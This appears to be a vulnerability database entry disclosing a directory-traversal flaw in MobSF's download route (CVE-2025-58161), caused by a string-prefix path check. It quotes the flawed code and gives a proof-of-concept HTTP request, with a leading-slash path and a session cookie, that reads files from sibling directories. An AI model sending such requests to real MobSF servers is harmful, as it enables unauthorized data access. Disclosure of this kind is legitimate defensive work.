Vulnerability Database

296,748

Total vulnerabilities in the database

CVE-2025-58161

Summary

The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path): safe_root = os.path.realpath(os.path.normpath(safe_root)) check_path = os.path.realpath(os.path.normpath(check_path)) return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root = /home/mobsf/.MobSF/downloads check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py @login_required def download(request): root = settings.DWD_DIR filename = request.path.replace(&#039;/download/&#039;, &#039;&#039;, 1) dwd_file = Path(root) / filename # absolute &#039;filename&#039; ignores &#039;root&#039; if &#039;../&#039; in filename or not is_safe_path(root, dwd_file): return HttpResponseForbidden(...) ext = dwd_file.suffix if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file(): return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak echo &quot;test&quot; &gt; /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1 Host: &lt;HOST&gt; Cookie: sessionid=&lt;YOUR_SESSION&gt;

Other working sibling directory names (if present):

…/downloads.old/... …/downloads_backup/... …/downloads1/... …/downloads-archive/... …/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

No technical information available.

CWEs:

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Software From Fixed in
Python icon mobsf - 4.4.1